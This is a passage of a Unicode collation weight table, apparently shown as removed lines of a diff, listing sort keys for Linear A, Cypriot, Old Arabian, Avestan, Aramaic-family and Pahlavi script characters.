-106F5 ; [.4618.0020.0002] # LINEAR A SIGN A582
-106F6 ; [.4619.0020.0002] # LINEAR A SIGN A583
-106F7 ; [.461A.0020.0002] # LINEAR A SIGN A584
-106F8 ; [.461B.0020.0002] # LINEAR A SIGN A585
-106F9 ; [.461C.0020.0002] # LINEAR A SIGN A586
-106FA ; [.461D.0020.0002] # LINEAR A SIGN A587
-106FB ; [.461E.0020.0002] # LINEAR A SIGN A588
-106FC ; [.461F.0020.0002] # LINEAR A SIGN A589
-106FD ; [.4620.0020.0002] # LINEAR A SIGN A591
-106FE ; [.4621.0020.0002] # LINEAR A SIGN A592
-106FF ; [.4622.0020.0002] # LINEAR A SIGN A594
-10700 ; [.4623.0020.0002] # LINEAR A SIGN A595
-10701 ; [.4624.0020.0002] # LINEAR A SIGN A596
-10702 ; [.4625.0020.0002] # LINEAR A SIGN A598
-10703 ; [.4626.0020.0002] # LINEAR A SIGN A600
-10704 ; [.4627.0020.0002] # LINEAR A SIGN A601
-10705 ; [.4628.0020.0002] # LINEAR A SIGN A602
-10706 ; [.4629.0020.0002] # LINEAR A SIGN A603
-10707 ; [.462A.0020.0002] # LINEAR A SIGN A604
-10708 ; [.462B.0020.0002] # LINEAR A SIGN A606
-10709 ; [.462C.0020.0002] # LINEAR A SIGN A608
-1070A ; [.462D.0020.0002] # LINEAR A SIGN A609
-1070B ; [.462E.0020.0002] # LINEAR A SIGN A610
-1070C ; [.462F.0020.0002] # LINEAR A SIGN A611
-1070D ; [.4630.0020.0002] # LINEAR A SIGN A612
-1070E ; [.4631.0020.0002] # LINEAR A SIGN A613
-1070F ; [.4632.0020.0002] # LINEAR A SIGN A614
-10710 ; [.4633.0020.0002] # LINEAR A SIGN A615
-10711 ; [.4634.0020.0002] # LINEAR A SIGN A616
-10712 ; [.4635.0020.0002] # LINEAR A SIGN A617
-10713 ; [.4636.0020.0002] # LINEAR A SIGN A618
-10714 ; [.4637.0020.0002] # LINEAR A SIGN A619
-10715 ; [.4638.0020.0002] # LINEAR A SIGN A620
-10716 ; [.4639.0020.0002] # LINEAR A SIGN A621
-10717 ; [.463A.0020.0002] # LINEAR A SIGN A622
-10718 ; [.463B.0020.0002] # LINEAR A SIGN A623
-10719 ; [.463C.0020.0002] # LINEAR A SIGN A624
-1071A ; [.463D.0020.0002] # LINEAR A SIGN A626
-1071B ; [.463E.0020.0002] # LINEAR A SIGN A627
-1071C ; [.463F.0020.0002] # LINEAR A SIGN A628
-1071D ; [.4640.0020.0002] # LINEAR A SIGN A629
-1071E ; [.4641.0020.0002] # LINEAR A SIGN A634
-1071F ; [.4642.0020.0002] # LINEAR A SIGN A637
-10720 ; [.4643.0020.0002] # LINEAR A SIGN A638
-10721 ; [.4644.0020.0002] # LINEAR A SIGN A640
-10722 ; [.4645.0020.0002] # LINEAR A SIGN A642
-10723 ; [.4646.0020.0002] # LINEAR A SIGN A643
-10724 ; [.4647.0020.0002] # LINEAR A SIGN A644
-10725 ; [.4648.0020.0002] # LINEAR A SIGN A645
-10726 ; [.4649.0020.0002] # LINEAR A SIGN A646
-10727 ; [.464A.0020.0002] # LINEAR A SIGN A648
-10728 ; [.464B.0020.0002] # LINEAR A SIGN A649
-10729 ; [.464C.0020.0002] # LINEAR A SIGN A651
-1072A ; [.464D.0020.0002] # LINEAR A SIGN A652
-1072B ; [.464E.0020.0002] # LINEAR A SIGN A653
-1072C ; [.464F.0020.0002] # LINEAR A SIGN A654
-1072D ; [.4650.0020.0002] # LINEAR A SIGN A655
-1072E ; [.4651.0020.0002] # LINEAR A SIGN A656
-1072F ; [.4652.0020.0002] # LINEAR A SIGN A657
-10730 ; [.4653.0020.0002] # LINEAR A SIGN A658
-10731 ; [.4654.0020.0002] # LINEAR A SIGN A659
-10732 ; [.4655.0020.0002] # LINEAR A SIGN A660
-10733 ; [.4656.0020.0002] # LINEAR A SIGN A661
-10734 ; [.4657.0020.0002] # LINEAR A SIGN A662
-10735 ; [.4658.0020.0002] # LINEAR A SIGN A663
-10736 ; [.4659.0020.0002] # LINEAR A SIGN A664
-10740 ; [.465A.0020.0002] # LINEAR A SIGN A701 A
-10741 ; [.465B.0020.0002] # LINEAR A SIGN A702 B
-10742 ; [.465C.0020.0002] # LINEAR A SIGN A703 D
-10743 ; [.465D.0020.0002] # LINEAR A SIGN A704 E
-10744 ; [.465E.0020.0002] # LINEAR A SIGN A705 F
-10745 ; [.465F.0020.0002] # LINEAR A SIGN A706 H
-10746 ; [.4660.0020.0002] # LINEAR A SIGN A707 J
-10747 ; [.4661.0020.0002] # LINEAR A SIGN A708 K
-10748 ; [.4662.0020.0002] # LINEAR A SIGN A709 L
-10749 ; [.4663.0020.0002] # LINEAR A SIGN A709-2 L2
-1074A ; [.4664.0020.0002] # LINEAR A SIGN A709-3 L3
-1074B ; [.4665.0020.0002] # LINEAR A SIGN A709-4 L4
-1074C ; [.4666.0020.0002] # LINEAR A SIGN A709-6 L6
-1074D ; [.4667.0020.0002] # LINEAR A SIGN A710 W
-1074E ; [.4668.0020.0002] # LINEAR A SIGN A711 X
-1074F ; [.4669.0020.0002] # LINEAR A SIGN A712 Y
-10750 ; [.466A.0020.0002] # LINEAR A SIGN A713 OMEGA
-10751 ; [.466B.0020.0002] # LINEAR A SIGN A714 ABB
-10752 ; [.466C.0020.0002] # LINEAR A SIGN A715 BB
-10753 ; [.466D.0020.0002] # LINEAR A SIGN A717 DD
-10754 ; [.466E.0020.0002] # LINEAR A SIGN A726 EYYY
-10755 ; [.466F.0020.0002] # LINEAR A SIGN A732 JE
-10760 ; [.4670.0020.0002] # LINEAR A SIGN A800
-10761 ; [.4671.0020.0002] # LINEAR A SIGN A801
-10762 ; [.4672.0020.0002] # LINEAR A SIGN A802
-10763 ; [.4673.0020.0002] # LINEAR A SIGN A803
-10764 ; [.4674.0020.0002] # LINEAR A SIGN A804
-10765 ; [.4675.0020.0002] # LINEAR A SIGN A805
-10766 ; [.4676.0020.0002] # LINEAR A SIGN A806
-10767 ; [.4677.0020.0002] # LINEAR A SIGN A807
-10800 ; [.4678.0020.0002] # CYPRIOT SYLLABLE A
-10801 ; [.4679.0020.0002] # CYPRIOT SYLLABLE E
-10802 ; [.467A.0020.0002] # CYPRIOT SYLLABLE I
-10803 ; [.467B.0020.0002] # CYPRIOT SYLLABLE O
-10804 ; [.467C.0020.0002] # CYPRIOT SYLLABLE U
-10805 ; [.467D.0020.0002] # CYPRIOT SYLLABLE JA
-10808 ; [.467E.0020.0002] # CYPRIOT SYLLABLE JO
-1080A ; [.467F.0020.0002] # CYPRIOT SYLLABLE KA
-1080B ; [.4680.0020.0002] # CYPRIOT SYLLABLE KE
-1080C ; [.4681.0020.0002] # CYPRIOT SYLLABLE KI
-1080D ; [.4682.0020.0002] # CYPRIOT SYLLABLE KO
-1080E ; [.4683.0020.0002] # CYPRIOT SYLLABLE KU
-1080F ; [.4684.0020.0002] # CYPRIOT SYLLABLE LA
-10810 ; [.4685.0020.0002] # CYPRIOT SYLLABLE LE
-10811 ; [.4686.0020.0002] # CYPRIOT SYLLABLE LI
-10812 ; [.4687.0020.0002] # CYPRIOT SYLLABLE LO
-10813 ; [.4688.0020.0002] # CYPRIOT SYLLABLE LU
-10814 ; [.4689.0020.0002] # CYPRIOT SYLLABLE MA
-10815 ; [.468A.0020.0002] # CYPRIOT SYLLABLE ME
-10816 ; [.468B.0020.0002] # CYPRIOT SYLLABLE MI
-10817 ; [.468C.0020.0002] # CYPRIOT SYLLABLE MO
-10818 ; [.468D.0020.0002] # CYPRIOT SYLLABLE MU
-10819 ; [.468E.0020.0002] # CYPRIOT SYLLABLE NA
-1081A ; [.468F.0020.0002] # CYPRIOT SYLLABLE NE
-1081B ; [.4690.0020.0002] # CYPRIOT SYLLABLE NI
-1081C ; [.4691.0020.0002] # CYPRIOT SYLLABLE NO
-1081D ; [.4692.0020.0002] # CYPRIOT SYLLABLE NU
-1081E ; [.4693.0020.0002] # CYPRIOT SYLLABLE PA
-1081F ; [.4694.0020.0002] # CYPRIOT SYLLABLE PE
-10820 ; [.4695.0020.0002] # CYPRIOT SYLLABLE PI
-10821 ; [.4696.0020.0002] # CYPRIOT SYLLABLE PO
-10822 ; [.4697.0020.0002] # CYPRIOT SYLLABLE PU
-10823 ; [.4698.0020.0002] # CYPRIOT SYLLABLE RA
-10824 ; [.4699.0020.0002] # CYPRIOT SYLLABLE RE
-10825 ; [.469A.0020.0002] # CYPRIOT SYLLABLE RI
-10826 ; [.469B.0020.0002] # CYPRIOT SYLLABLE RO
-10827 ; [.469C.0020.0002] # CYPRIOT SYLLABLE RU
-10828 ; [.469D.0020.0002] # CYPRIOT SYLLABLE SA
-10829 ; [.469E.0020.0002] # CYPRIOT SYLLABLE SE
-1082A ; [.469F.0020.0002] # CYPRIOT SYLLABLE SI
-1082B ; [.46A0.0020.0002] # CYPRIOT SYLLABLE SO
-1082C ; [.46A1.0020.0002] # CYPRIOT SYLLABLE SU
-1082D ; [.46A2.0020.0002] # CYPRIOT SYLLABLE TA
-1082E ; [.46A3.0020.0002] # CYPRIOT SYLLABLE TE
-1082F ; [.46A4.0020.0002] # CYPRIOT SYLLABLE TI
-10830 ; [.46A5.0020.0002] # CYPRIOT SYLLABLE TO
-10831 ; [.46A6.0020.0002] # CYPRIOT SYLLABLE TU
-10832 ; [.46A7.0020.0002] # CYPRIOT SYLLABLE WA
-10833 ; [.46A8.0020.0002] # CYPRIOT SYLLABLE WE
-10834 ; [.46A9.0020.0002] # CYPRIOT SYLLABLE WI
-10835 ; [.46AA.0020.0002] # CYPRIOT SYLLABLE WO
-10837 ; [.46AB.0020.0002] # CYPRIOT SYLLABLE XA
-10838 ; [.46AC.0020.0002] # CYPRIOT SYLLABLE XE
-1083C ; [.46AD.0020.0002] # CYPRIOT SYLLABLE ZA
-1083F ; [.46AE.0020.0002] # CYPRIOT SYLLABLE ZO
-10A60 ; [.46AF.0020.0002] # OLD SOUTH ARABIAN LETTER HE
-10A61 ; [.46B0.0020.0002] # OLD SOUTH ARABIAN LETTER LAMEDH
-10A62 ; [.46B1.0020.0002] # OLD SOUTH ARABIAN LETTER HETH
-10A63 ; [.46B2.0020.0002] # OLD SOUTH ARABIAN LETTER MEM
-10A64 ; [.46B3.0020.0002] # OLD SOUTH ARABIAN LETTER QOPH
-10A65 ; [.46B4.0020.0002] # OLD SOUTH ARABIAN LETTER WAW
-10A66 ; [.46B5.0020.0002] # OLD SOUTH ARABIAN LETTER SHIN
-10A67 ; [.46B6.0020.0002] # OLD SOUTH ARABIAN LETTER RESH
-10A68 ; [.46B7.0020.0002] # OLD SOUTH ARABIAN LETTER BETH
-10A69 ; [.46B8.0020.0002] # OLD SOUTH ARABIAN LETTER TAW
-10A6A ; [.46B9.0020.0002] # OLD SOUTH ARABIAN LETTER SAT
-10A6B ; [.46BA.0020.0002] # OLD SOUTH ARABIAN LETTER KAPH
-10A6C ; [.46BB.0020.0002] # OLD SOUTH ARABIAN LETTER NUN
-10A6D ; [.46BC.0020.0002] # OLD SOUTH ARABIAN LETTER KHETH
-10A6E ; [.46BD.0020.0002] # OLD SOUTH ARABIAN LETTER SADHE
-10A6F ; [.46BE.0020.0002] # OLD SOUTH ARABIAN LETTER SAMEKH
-10A70 ; [.46BF.0020.0002] # OLD SOUTH ARABIAN LETTER FE
-10A71 ; [.46C0.0020.0002] # OLD SOUTH ARABIAN LETTER ALEF
-10A72 ; [.46C1.0020.0002] # OLD SOUTH ARABIAN LETTER AYN
-10A73 ; [.46C2.0020.0002] # OLD SOUTH ARABIAN LETTER DHADHE
-10A74 ; [.46C3.0020.0002] # OLD SOUTH ARABIAN LETTER GIMEL
-10A75 ; [.46C4.0020.0002] # OLD SOUTH ARABIAN LETTER DALETH
-10A76 ; [.46C5.0020.0002] # OLD SOUTH ARABIAN LETTER GHAYN
-10A77 ; [.46C6.0020.0002] # OLD SOUTH ARABIAN LETTER TETH
-10A78 ; [.46C7.0020.0002] # OLD SOUTH ARABIAN LETTER ZAYN
-10A79 ; [.46C8.0020.0002] # OLD SOUTH ARABIAN LETTER DHALETH
-10A7A ; [.46C9.0020.0002] # OLD SOUTH ARABIAN LETTER YODH
-10A7B ; [.46CA.0020.0002] # OLD SOUTH ARABIAN LETTER THAW
-10A7C ; [.46CB.0020.0002] # OLD SOUTH ARABIAN LETTER THETH
-10A80 ; [.46CC.0020.0002] # OLD NORTH ARABIAN LETTER HEH
-10A81 ; [.46CD.0020.0002] # OLD NORTH ARABIAN LETTER LAM
-10A82 ; [.46CE.0020.0002] # OLD NORTH ARABIAN LETTER HAH
-10A83 ; [.46CF.0020.0002] # OLD NORTH ARABIAN LETTER MEEM
-10A84 ; [.46D0.0020.0002] # OLD NORTH ARABIAN LETTER QAF
-10A85 ; [.46D1.0020.0002] # OLD NORTH ARABIAN LETTER WAW
-10A86 ; [.46D2.0020.0002] # OLD NORTH ARABIAN LETTER ES-2
-10A87 ; [.46D3.0020.0002] # OLD NORTH ARABIAN LETTER REH
-10A88 ; [.46D4.0020.0002] # OLD NORTH ARABIAN LETTER BEH
-10A89 ; [.46D5.0020.0002] # OLD NORTH ARABIAN LETTER TEH
-10A8A ; [.46D6.0020.0002] # OLD NORTH ARABIAN LETTER ES-1
-10A8B ; [.46D7.0020.0002] # OLD NORTH ARABIAN LETTER KAF
-10A8C ; [.46D8.0020.0002] # OLD NORTH ARABIAN LETTER NOON
-10A8D ; [.46D9.0020.0002] # OLD NORTH ARABIAN LETTER KHAH
-10A8E ; [.46DA.0020.0002] # OLD NORTH ARABIAN LETTER SAD
-10A8F ; [.46DB.0020.0002] # OLD NORTH ARABIAN LETTER ES-3
-10A90 ; [.46DC.0020.0002] # OLD NORTH ARABIAN LETTER FEH
-10A91 ; [.46DD.0020.0002] # OLD NORTH ARABIAN LETTER ALEF
-10A92 ; [.46DE.0020.0002] # OLD NORTH ARABIAN LETTER AIN
-10A93 ; [.46DF.0020.0002] # OLD NORTH ARABIAN LETTER DAD
-10A94 ; [.46E0.0020.0002] # OLD NORTH ARABIAN LETTER GEEM
-10A95 ; [.46E1.0020.0002] # OLD NORTH ARABIAN LETTER DAL
-10A96 ; [.46E2.0020.0002] # OLD NORTH ARABIAN LETTER GHAIN
-10A97 ; [.46E3.0020.0002] # OLD NORTH ARABIAN LETTER TAH
-10A98 ; [.46E4.0020.0002] # OLD NORTH ARABIAN LETTER ZAIN
-10A99 ; [.46E5.0020.0002] # OLD NORTH ARABIAN LETTER THAL
-10A9A ; [.46E6.0020.0002] # OLD NORTH ARABIAN LETTER YEH
-10A9B ; [.46E7.0020.0002] # OLD NORTH ARABIAN LETTER THEH
-10A9C ; [.46E8.0020.0002] # OLD NORTH ARABIAN LETTER ZAH
-10B00 ; [.46E9.0020.0002] # AVESTAN LETTER A
-10B01 ; [.46EA.0020.0002] # AVESTAN LETTER AA
-10B02 ; [.46EB.0020.0002] # AVESTAN LETTER AO
-10B03 ; [.46EC.0020.0002] # AVESTAN LETTER AAO
-10B04 ; [.46ED.0020.0002] # AVESTAN LETTER AN
-10B05 ; [.46EE.0020.0002] # AVESTAN LETTER AAN
-10B06 ; [.46EF.0020.0002] # AVESTAN LETTER AE
-10B07 ; [.46F0.0020.0002] # AVESTAN LETTER AEE
-10B08 ; [.46F1.0020.0002] # AVESTAN LETTER E
-10B09 ; [.46F2.0020.0002] # AVESTAN LETTER EE
-10B0A ; [.46F3.0020.0002] # AVESTAN LETTER O
-10B0B ; [.46F4.0020.0002] # AVESTAN LETTER OO
-10B0C ; [.46F5.0020.0002] # AVESTAN LETTER I
-10B0D ; [.46F6.0020.0002] # AVESTAN LETTER II
-10B0E ; [.46F7.0020.0002] # AVESTAN LETTER U
-10B0F ; [.46F8.0020.0002] # AVESTAN LETTER UU
-10B10 ; [.46F9.0020.0002] # AVESTAN LETTER KE
-10B11 ; [.46FA.0020.0002] # AVESTAN LETTER XE
-10B12 ; [.46FB.0020.0002] # AVESTAN LETTER XYE
-10B13 ; [.46FC.0020.0002] # AVESTAN LETTER XVE
-10B14 ; [.46FD.0020.0002] # AVESTAN LETTER GE
-10B15 ; [.46FE.0020.0002] # AVESTAN LETTER GGE
-10B16 ; [.46FF.0020.0002] # AVESTAN LETTER GHE
-10B17 ; [.4700.0020.0002] # AVESTAN LETTER CE
-10B18 ; [.4701.0020.0002] # AVESTAN LETTER JE
-10B19 ; [.4702.0020.0002] # AVESTAN LETTER TE
-10B1A ; [.4703.0020.0002] # AVESTAN LETTER THE
-10B1B ; [.4704.0020.0002] # AVESTAN LETTER DE
-10B1C ; [.4705.0020.0002] # AVESTAN LETTER DHE
-10B1D ; [.4706.0020.0002] # AVESTAN LETTER TTE
-10B1E ; [.4707.0020.0002] # AVESTAN LETTER PE
-10B1F ; [.4708.0020.0002] # AVESTAN LETTER FE
-10B20 ; [.4709.0020.0002] # AVESTAN LETTER BE
-10B21 ; [.470A.0020.0002] # AVESTAN LETTER BHE
-10B22 ; [.470B.0020.0002] # AVESTAN LETTER NGE
-10B23 ; [.470C.0020.0002] # AVESTAN LETTER NGYE
-10B24 ; [.470D.0020.0002] # AVESTAN LETTER NGVE
-10B25 ; [.470E.0020.0002] # AVESTAN LETTER NE
-10B26 ; [.470F.0020.0002] # AVESTAN LETTER NYE
-10B27 ; [.4710.0020.0002] # AVESTAN LETTER NNE
-10B28 ; [.4711.0020.0002] # AVESTAN LETTER ME
-10B29 ; [.4712.0020.0002] # AVESTAN LETTER HME
-10B2A ; [.4713.0020.0002] # AVESTAN LETTER YYE
-10B2B ; [.4714.0020.0002] # AVESTAN LETTER YE
-10B2C ; [.4715.0020.0002] # AVESTAN LETTER VE
-10B2D ; [.4716.0020.0002] # AVESTAN LETTER RE
-10B2E ; [.4716.0020.0004][.0000.010B.0004] # AVESTAN LETTER LE
-10B2F ; [.4717.0020.0002] # AVESTAN LETTER SE
-10B30 ; [.4718.0020.0002] # AVESTAN LETTER ZE
-10B31 ; [.4719.0020.0002] # AVESTAN LETTER SHE
-10B32 ; [.471A.0020.0002] # AVESTAN LETTER ZHE
-10B33 ; [.471B.0020.0002] # AVESTAN LETTER SHYE
-10B34 ; [.471C.0020.0002] # AVESTAN LETTER SSHE
-10B35 ; [.471D.0020.0002] # AVESTAN LETTER HE
-10860 ; [.471E.0020.0002] # PALMYRENE LETTER ALEPH
-10861 ; [.471F.0020.0002] # PALMYRENE LETTER BETH
-10862 ; [.4720.0020.0002] # PALMYRENE LETTER GIMEL
-10863 ; [.4721.0020.0002] # PALMYRENE LETTER DALETH
-10864 ; [.4722.0020.0002] # PALMYRENE LETTER HE
-10865 ; [.4723.0020.0002] # PALMYRENE LETTER WAW
-10866 ; [.4724.0020.0002] # PALMYRENE LETTER ZAYIN
-10867 ; [.4725.0020.0002] # PALMYRENE LETTER HETH
-10868 ; [.4726.0020.0002] # PALMYRENE LETTER TETH
-10869 ; [.4727.0020.0002] # PALMYRENE LETTER YODH
-1086A ; [.4728.0020.0002] # PALMYRENE LETTER KAPH
-1086B ; [.4729.0020.0002] # PALMYRENE LETTER LAMEDH
-1086C ; [.472A.0020.0002] # PALMYRENE LETTER MEM
-1086E ; [.472B.0020.0002] # PALMYRENE LETTER NUN
-1086D ; [.472B.0020.0019] # PALMYRENE LETTER FINAL NUN
-1086F ; [.472C.0020.0002] # PALMYRENE LETTER SAMEKH
-10870 ; [.472D.0020.0002] # PALMYRENE LETTER AYIN
-10871 ; [.472E.0020.0002] # PALMYRENE LETTER PE
-10872 ; [.472F.0020.0002] # PALMYRENE LETTER SADHE
-10873 ; [.4730.0020.0002] # PALMYRENE LETTER QOPH
-10874 ; [.4731.0020.0002] # PALMYRENE LETTER RESH
-10875 ; [.4732.0020.0002] # PALMYRENE LETTER SHIN
-10876 ; [.4733.0020.0002] # PALMYRENE LETTER TAW
-10881 ; [.4734.0020.0002] # NABATAEAN LETTER ALEPH
-10880 ; [.4734.0020.0019] # NABATAEAN LETTER FINAL ALEPH
-10883 ; [.4735.0020.0002] # NABATAEAN LETTER BETH
-10882 ; [.4735.0020.0019] # NABATAEAN LETTER FINAL BETH
-10884 ; [.4736.0020.0002] # NABATAEAN LETTER GIMEL
-10885 ; [.4737.0020.0002] # NABATAEAN LETTER DALETH
-10887 ; [.4738.0020.0002] # NABATAEAN LETTER HE
-10886 ; [.4738.0020.0019] # NABATAEAN LETTER FINAL HE
-10888 ; [.4739.0020.0002] # NABATAEAN LETTER WAW
-10889 ; [.473A.0020.0002] # NABATAEAN LETTER ZAYIN
-1088A ; [.473B.0020.0002] # NABATAEAN LETTER HETH
-1088B ; [.473C.0020.0002] # NABATAEAN LETTER TETH
-1088D ; [.473D.0020.0002] # NABATAEAN LETTER YODH
-1088C ; [.473D.0020.0019] # NABATAEAN LETTER FINAL YODH
-1088F ; [.473E.0020.0002] # NABATAEAN LETTER KAPH
-1088E ; [.473E.0020.0019] # NABATAEAN LETTER FINAL KAPH
-10891 ; [.473F.0020.0002] # NABATAEAN LETTER LAMEDH
-10890 ; [.473F.0020.0019] # NABATAEAN LETTER FINAL LAMEDH
-10893 ; [.4740.0020.0002] # NABATAEAN LETTER MEM
-10892 ; [.4740.0020.0019] # NABATAEAN LETTER FINAL MEM
-10895 ; [.4741.0020.0002] # NABATAEAN LETTER NUN
-10894 ; [.4741.0020.0019] # NABATAEAN LETTER FINAL NUN
-10896 ; [.4742.0020.0002] # NABATAEAN LETTER SAMEKH
-10897 ; [.4743.0020.0002] # NABATAEAN LETTER AYIN
-10898 ; [.4744.0020.0002] # NABATAEAN LETTER PE
-10899 ; [.4745.0020.0002] # NABATAEAN LETTER SADHE
-1089A ; [.4746.0020.0002] # NABATAEAN LETTER QOPH
-1089B ; [.4747.0020.0002] # NABATAEAN LETTER RESH
-1089D ; [.4748.0020.0002] # NABATAEAN LETTER SHIN
-1089C ; [.4748.0020.0019] # NABATAEAN LETTER FINAL SHIN
-1089E ; [.4749.0020.0002] # NABATAEAN LETTER TAW
-108E0 ; [.474A.0020.0002] # HATRAN LETTER ALEPH
-108E1 ; [.474B.0020.0002] # HATRAN LETTER BETH
-108E2 ; [.474C.0020.0002] # HATRAN LETTER GIMEL
-108E3 ; [.474D.0020.0002] # HATRAN LETTER DALETH-RESH
-108E4 ; [.474E.0020.0002] # HATRAN LETTER HE
-108E5 ; [.474F.0020.0002] # HATRAN LETTER WAW
-108E6 ; [.4750.0020.0002] # HATRAN LETTER ZAYN
-108E7 ; [.4751.0020.0002] # HATRAN LETTER HETH
-108E8 ; [.4752.0020.0002] # HATRAN LETTER TETH
-108E9 ; [.4753.0020.0002] # HATRAN LETTER YODH
-108EA ; [.4754.0020.0002] # HATRAN LETTER KAPH
-108EB ; [.4755.0020.0002] # HATRAN LETTER LAMEDH
-108EC ; [.4756.0020.0002] # HATRAN LETTER MEM
-108ED ; [.4757.0020.0002] # HATRAN LETTER NUN
-108EE ; [.4758.0020.0002] # HATRAN LETTER SAMEKH
-108EF ; [.4759.0020.0002] # HATRAN LETTER AYN
-108F0 ; [.475A.0020.0002] # HATRAN LETTER PE
-108F1 ; [.475B.0020.0002] # HATRAN LETTER SADHE
-108F2 ; [.475C.0020.0002] # HATRAN LETTER QOPH
-108F4 ; [.475D.0020.0002] # HATRAN LETTER SHIN
-108F5 ; [.475E.0020.0002] # HATRAN LETTER TAW
-10840 ; [.475F.0020.0002] # IMPERIAL ARAMAIC LETTER ALEPH
-10841 ; [.4760.0020.0002] # IMPERIAL ARAMAIC LETTER BETH
-10842 ; [.4761.0020.0002] # IMPERIAL ARAMAIC LETTER GIMEL
-10843 ; [.4762.0020.0002] # IMPERIAL ARAMAIC LETTER DALETH
-10844 ; [.4763.0020.0002] # IMPERIAL ARAMAIC LETTER HE
-10845 ; [.4764.0020.0002] # IMPERIAL ARAMAIC LETTER WAW
-10846 ; [.4765.0020.0002] # IMPERIAL ARAMAIC LETTER ZAYIN
-10847 ; [.4766.0020.0002] # IMPERIAL ARAMAIC LETTER HETH
-10848 ; [.4767.0020.0002] # IMPERIAL ARAMAIC LETTER TETH
-10849 ; [.4768.0020.0002] # IMPERIAL ARAMAIC LETTER YODH
-1084A ; [.4769.0020.0002] # IMPERIAL ARAMAIC LETTER KAPH
-1084B ; [.476A.0020.0002] # IMPERIAL ARAMAIC LETTER LAMEDH
-1084C ; [.476B.0020.0002] # IMPERIAL ARAMAIC LETTER MEM
-1084D ; [.476C.0020.0002] # IMPERIAL ARAMAIC LETTER NUN
-1084E ; [.476D.0020.0002] # IMPERIAL ARAMAIC LETTER SAMEKH
-1084F ; [.476E.0020.0002] # IMPERIAL ARAMAIC LETTER AYIN
-10850 ; [.476F.0020.0002] # IMPERIAL ARAMAIC LETTER PE
-10851 ; [.4770.0020.0002] # IMPERIAL ARAMAIC LETTER SADHE
-10852 ; [.4771.0020.0002] # IMPERIAL ARAMAIC LETTER QOPH
-10853 ; [.4772.0020.0002] # IMPERIAL ARAMAIC LETTER RESH
-10854 ; [.4773.0020.0002] # IMPERIAL ARAMAIC LETTER SHIN
-10855 ; [.4774.0020.0002] # IMPERIAL ARAMAIC LETTER TAW
-10B40 ; [.4775.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER ALEPH
-10B41 ; [.4776.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER BETH
-10B42 ; [.4777.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER GIMEL
-10B43 ; [.4778.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER DALETH
-10B44 ; [.4779.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER HE
-10B45 ; [.477A.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER WAW
-10B46 ; [.477B.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER ZAYIN
-10B47 ; [.477C.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER HETH
-10B48 ; [.477D.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER TETH
-10B49 ; [.477E.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER YODH
-10B4A ; [.477F.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER KAPH
-10B4B ; [.4780.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER LAMEDH
-10B4C ; [.4781.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER MEM
-10B4D ; [.4782.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER NUN
-10B4E ; [.4783.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER SAMEKH
-10B4F ; [.4784.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER AYIN
-10B50 ; [.4785.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER PE
-10B51 ; [.4786.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER SADHE
-10B52 ; [.4787.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER QOPH
-10B53 ; [.4788.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER RESH
-10B54 ; [.4789.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER SHIN
-10B55 ; [.478A.0020.0002] # INSCRIPTIONAL PARTHIAN LETTER TAW
-10B60 ; [.478B.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER ALEPH
-10B61 ; [.478C.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER BETH
-10B62 ; [.478D.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER GIMEL
-10B63 ; [.478E.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER DALETH
-10B64 ; [.478F.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER HE
-10B65 ; [.4790.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER WAW-AYIN-RESH
-10B66 ; [.4791.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER ZAYIN
-10B67 ; [.4792.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER HETH
-10B68 ; [.4793.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER TETH
-10B69 ; [.4794.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER YODH
-10B6A ; [.4795.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER KAPH
-10B6B ; [.4796.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER LAMEDH
-10B6C ; [.4797.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER MEM-QOPH
-10B6D ; [.4798.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER NUN
-10B6E ; [.4799.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER SAMEKH
-10B6F ; [.479A.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER PE
-10B70 ; [.479B.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER SADHE
-10B71 ; [.479C.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER SHIN
-10B72 ; [.479D.0020.0002] # INSCRIPTIONAL PAHLAVI LETTER TAW
-10B80 ; [.479E.0020.0002] # PSALTER PAHLAVI LETTER ALEPH
-10B81 ; [.479F.0020.0002] # PSALTER PAHLAVI LETTER BETH
-10B82 ; [.47A0.0020.0002] # PSALTER PAHLAVI LETTER GIMEL
-10B83 ; [.47A1.0020.0002] # PSALTER PAHLAVI LETTER DALETH
-10B84 ; [.47A2.0020.0002] # PSALTER PAHLAVI LETTER HE
-10B85 ; [.47A3.0020.0002] # PSALTER PAHLAVI LETTER WAW-AYIN-RESH
-10B86 ; [.47A4.0020.0002] # PSALTER PAHLAVI LETTER ZAYIN
-10B87 ; [.47A5.0020.0002] # PSALTER PAHLAVI LETTER HETH
-10B88 ; [.47A6.0020.0002] # PSALTER PAHLAVI LETTER YODH
-10B89 ; [.47A7.0020.0002] # PSALTER PAHLAVI LETTER KAPH
-10B8A ; [.47A8.0020.0002] # PSALTER PAHLAVI LETTER LAMEDH
